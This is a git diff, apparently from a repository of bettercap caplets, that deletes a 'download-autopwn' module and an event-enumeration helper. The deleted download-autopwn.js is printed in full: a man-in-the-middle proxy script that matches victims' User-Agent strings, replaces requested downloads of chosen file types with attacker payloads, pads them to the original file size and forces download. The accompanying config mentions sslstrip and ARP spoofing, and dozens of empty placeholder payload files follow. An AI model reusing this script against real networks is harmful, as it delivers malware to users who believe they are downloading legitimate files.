- -# choose which file extensions get intercepted and replaced by your payload on specific devices (payloads are in download-autopwn/.../) -# (again, you can add as many as you want) -# make sure the payload files exist and that they are all named "payload" (for example: payload.exe) -set downloadautopwn.extensions.android apk,pdf,sh,pfx,zip -set downloadautopwn.extensions.ios ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,zip -set downloadautopwn.extensions.linux c,go,sh,py,rb,cr,pl,deb,pdf,jar,zip -set downloadautopwn.extensions.macos app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,py,rb,pl,terminal,zip -set downloadautopwn.extensions.ps4 disc,pup,pdf,doc,docx,zip -set downloadautopwn.extensions.windows exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pdf,rar,zip -set downloadautopwn.extensions.xbox exe,msi,jar,pdf,doc,docx,zip - -# choose whether the proxy module resizes your payload to the requested file's size (if not set then default=false) -set downloadautopwn.resizepayloads true - -# set download-autopwn.js as proxy script -set http.proxy.script download-autopwn.js -# uncomment if you want sslstrip enabled -# set http.proxy.sslstrip true -# start proxy -http.proxy on - -# wait for everything to start properly -sleep 1 - -# uncomment if you want arp spoofing (make sure probing is off as it conflicts with arp spoofing) -# arp.spoof on diff --git a/download-autopwn/download-autopwn.js b/download-autopwn/download-autopwn.js deleted file mode 100644 index 20fb9d1..0000000 --- a/download-autopwn/download-autopwn.js +++ /dev/null @@ -1,84 +0,0 @@ -var targets = {} - -var nullbyte = "\u0000" - -var green = "\033[32m", - boldRed = "\033[1;31m", - onRed = "\033[41m", - reset = "\033[0m", - redLine = "\n " + onRed + " " + reset - -function onLoad() { - devices = env["downloadautopwn.devices"].split(",") - logStr = "" - for (var i = 0; i < devices.length; i++) { - item = { - "device": devices[i], - "useragent": env[ "downloadautopwn.useragent." + devices[i] ], - "extensions": env[ "downloadautopwn.extensions." + devices[i] ].toLowerCase().split(",") - } - targets[i] = item - logStr += "\n " + green + targets[i]["device"] + reset + - "\n User-Agent: " + targets[i]["useragent"] + - "\n Extensions: " + targets[i]["extensions"] + "\n" - } - log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr) -} - -function onResponse(req, res) { - // First of all check whether the requested path might have an extension (to save cpu) - var requestedFileName = req.Path.replace(/.*\//g, "") - if ( requestedFileName.indexOf(".") != -1 ) { - var userAgent = req.GetHeader("User-Agent", ""), - extension - // Iterate through targets - for ( var t = 0; t < Object.keys(targets).length; t++ ) { - // Check if User-Agent is a target - regex = new RegExp(targets[t]["useragent"]) - if ( userAgent.match(regex) ) { - // Iterate through target extensions - for (var e = 0; e < targets[t]["extensions"].length; e++) { - // Check if requested path contains a targeted extension - // function endsWith() could be a nice simplification here - if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) { - extension = targets[t]["extensions"][e] - // Autopwn - logStr = "\n" + redLine + " Autopwning download request from " + boldRed + req.Client.IP + reset + - redLine + - redLine + " Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset + - redLine + - redLine + " Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..." - // Check our payload size - payload = readFile("/usr/local/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension) - payloadSize = payload.length - logStr += redLine + " The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" - // Append nullbytes to payload if resizing is enabled and if requested file is larger than payload - if ( env["downloadautopwn.resizepayloads"] == "true" ) { - // Check requested file size - requestedFileSize = parseInt(res.GetHeader("Content-Length", "0")) - if (requestedFileSize == 0) { - requestedFileSize = res.ReadBody().length - } - logStr += redLine + " The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" - // Append nullbytes if required - if (requestedFileSize > payloadSize) { - logStr += redLine + " Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..." - sizeDifference = requestedFileSize - payloadSize - nullbyteString = Array(sizeDifference + 1).join(nullbyte) - payload += nullbyteString - } - } - // Set Content-Disposition header to enforce file download instead of in-browser preview - res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"") - // Update Content-Length header - res.RemoveHeader("Content-Length") - logStr += redLine + - redLine + " Serving your payload to " + boldRed + req.Client.IP + reset + "...\n" - log(logStr) - res.Body = payload - } - } - } - } - } -} diff --git a/download-autopwn/ios/payload.ios b/download-autopwn/ios/payload.ios deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipa b/download-autopwn/ios/payload.ipa deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipb b/download-autopwn/ios/payload.ipb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipcc b/download-autopwn/ios/payload.ipcc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipsw b/download-autopwn/ios/payload.ipsw deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipsx b/download-autopwn/ios/payload.ipsx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.m4a b/download-autopwn/ios/payload.m4a deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mkv b/download-autopwn/ios/payload.mkv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mobileconfig b/download-autopwn/ios/payload.mobileconfig deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mp3 b/download-autopwn/ios/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mp4 b/download-autopwn/ios/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.pdf b/download-autopwn/ios/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.zip b/download-autopwn/ios/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.c b/download-autopwn/linux/payload.c deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.cr b/download-autopwn/linux/payload.cr deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.deb b/download-autopwn/linux/payload.deb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.go b/download-autopwn/linux/payload.go deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.jar b/download-autopwn/linux/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.mp3 b/download-autopwn/linux/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.mp4 b/download-autopwn/linux/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.pdf b/download-autopwn/linux/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.pl b/download-autopwn/linux/payload.pl deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.py b/download-autopwn/linux/payload.py deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.rb b/download-autopwn/linux/payload.rb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.sh b/download-autopwn/linux/payload.sh deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.tar b/download-autopwn/linux/payload.tar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.tar.gz b/download-autopwn/linux/payload.tar.gz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.tgz b/download-autopwn/linux/payload.tgz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.zip b/download-autopwn/linux/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.7z b/download-autopwn/macos/payload.7z deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.ai b/download-autopwn/macos/payload.ai deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.ait b/download-autopwn/macos/payload.ait deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.app b/download-autopwn/macos/payload.app deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.c b/download-autopwn/macos/payload.c deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.dmg b/download-autopwn/macos/payload.dmg deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.doc b/download-autopwn/macos/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.docx b/download-autopwn/macos/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.jar b/download-autopwn/macos/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.m4a b/download-autopwn/macos/payload.m4a deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.mov b/download-autopwn/macos/payload.mov deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.mp3 b/download-autopwn/macos/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.mp4 b/download-autopwn/macos/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.pdf b/download-autopwn/macos/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.psd b/download-autopwn/macos/payload.psd deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.py b/download-autopwn/macos/payload.py deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.rb b/download-autopwn/macos/payload.rb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.sh b/download-autopwn/macos/payload.sh deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.tar b/download-autopwn/macos/payload.tar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.tar.gz b/download-autopwn/macos/payload.tar.gz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.terminal b/download-autopwn/macos/payload.terminal deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.tgz b/download-autopwn/macos/payload.tgz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.zip b/download-autopwn/macos/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.aac b/download-autopwn/ps4/payload.aac deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.avi b/download-autopwn/ps4/payload.avi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.disc b/download-autopwn/ps4/payload.disc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.doc b/download-autopwn/ps4/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.docx b/download-autopwn/ps4/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.flac b/download-autopwn/ps4/payload.flac deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.m4a b/download-autopwn/ps4/payload.m4a deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.mkv b/download-autopwn/ps4/payload.mkv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.mp3 b/download-autopwn/ps4/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.mp4 b/download-autopwn/ps4/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.pdf b/download-autopwn/ps4/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.pup b/download-autopwn/ps4/payload.pup deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.zip b/download-autopwn/ps4/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.7z b/download-autopwn/windows/payload.7z deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.ai b/download-autopwn/windows/payload.ai deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.ait b/download-autopwn/windows/payload.ait deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.avi b/download-autopwn/windows/payload.avi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.bat b/download-autopwn/windows/payload.bat deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.dll b/download-autopwn/windows/payload.dll deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.doc b/download-autopwn/windows/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.docx b/download-autopwn/windows/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.exe b/download-autopwn/windows/payload.exe deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.flv b/download-autopwn/windows/payload.flv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.jar b/download-autopwn/windows/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.mp3 b/download-autopwn/windows/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.mp4 b/download-autopwn/windows/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.msi b/download-autopwn/windows/payload.msi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.pdf b/download-autopwn/windows/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.psd b/download-autopwn/windows/payload.psd deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.rar b/download-autopwn/windows/payload.rar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.swf b/download-autopwn/windows/payload.swf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.wav b/download-autopwn/windows/payload.wav deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.zip b/download-autopwn/windows/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.doc b/download-autopwn/xbox/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.docx b/download-autopwn/xbox/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.exe b/download-autopwn/xbox/payload.exe deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.jar b/download-autopwn/xbox/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.msi b/download-autopwn/xbox/payload.msi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.pdf b/download-autopwn/xbox/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.zip b/download-autopwn/xbox/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/enumerate/events/README.md b/enumerate/events/README.md deleted file mode 100644 index 93d44fe..0000000 --- a/enumerate/events/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# enumerate.events - -A simple module that lets you enumerate events. - -Example: - -`enumerate.events.regexp GET|POST|HEAD|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH|=>|Form:` - -(this command will print all HTTP events; regexp must be written as in `new RegExp()`) - -![screenshot from 2018-07-27 21-48-20](https://user-images.githubusercontent.com/29265684/43319311-97526282-91e7-11e8-854e-c209ba60b732.png) diff --git a/enumerate/events/module.cap b/enumerate/events/module.cap deleted file mode 100644 index 13136f2..0000000 --- a/enumerate/events/module.cap +++ /dev/null @@ -1,13 +0,0 @@ -# events.stream -events.stream off -set events.stream.output enumerate/events/session1.events.stream.output -events.stream on - -# net.sniff -set net.sniff.verbose false -net.sniff on - -# http.proxy -set http.proxy.script enumerate/events/module.js -set http.proxy.port 8023 -http.proxy on diff --git a/enumerate/events/module.js b/enumerate/events/module.js deleted file mode 100644 index cbaca23..0000000 --- a/enumerate/events/module.js +++ /dev/null @@ -1,36 +0,0 @@ -var red = "\033[31m", - yellow = "\033[33m", - green = "\033[32m", - bold = "\033[1;37m", - reset = "\033[0m" - -function configure() { - if ( !readFile( env("events.stream.output") ) ) { - log_error("Error: " + bold + "events.stream.output" + reset + " file not found (got " + env("events.stream.output") + ")") - } -} - -function onCommand(cmd) { - if (cmd == "enumerate.events.all") { - console.log( readFile( env("events.stream.output") ) ) - return true - } - if ( cmd.match(/^enumerate\.events\.regexp ./) ) { - regexp = new RegExp( cmd.replace("enumerate.events.regexp ", "") ) - saved_events = readFile( env("events.stream.output") ).split("\n") - found_events = [] - for (var i = 0; i < saved_events.length; i++) { - saved_events[i].match(regexp) ? found_events.push(saved_events[i]) : "" - } - console.log( found_events.join("\n") ) - return true - } -} - -function onLoad() { - console.log("\n" + bold + " Commands" + reset + "\n") - console.log(" " + yellow + "enumerate.events.all" + reset + " : Enumerate all events.") - console.log(" " + yellow + "enumerate.events.regexp" + reset + " : Enumerate events with regexp value.\n") - configure() - log_info("(" + green + "enumerate.events" + reset + ") Module successfully loaded.") -} diff --git a/enumerate/hosts/README.md b/enumerate/hosts/README.md deleted file mode 100644 index 7cc32ab..0000000 --- a/enumerate/hosts/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# 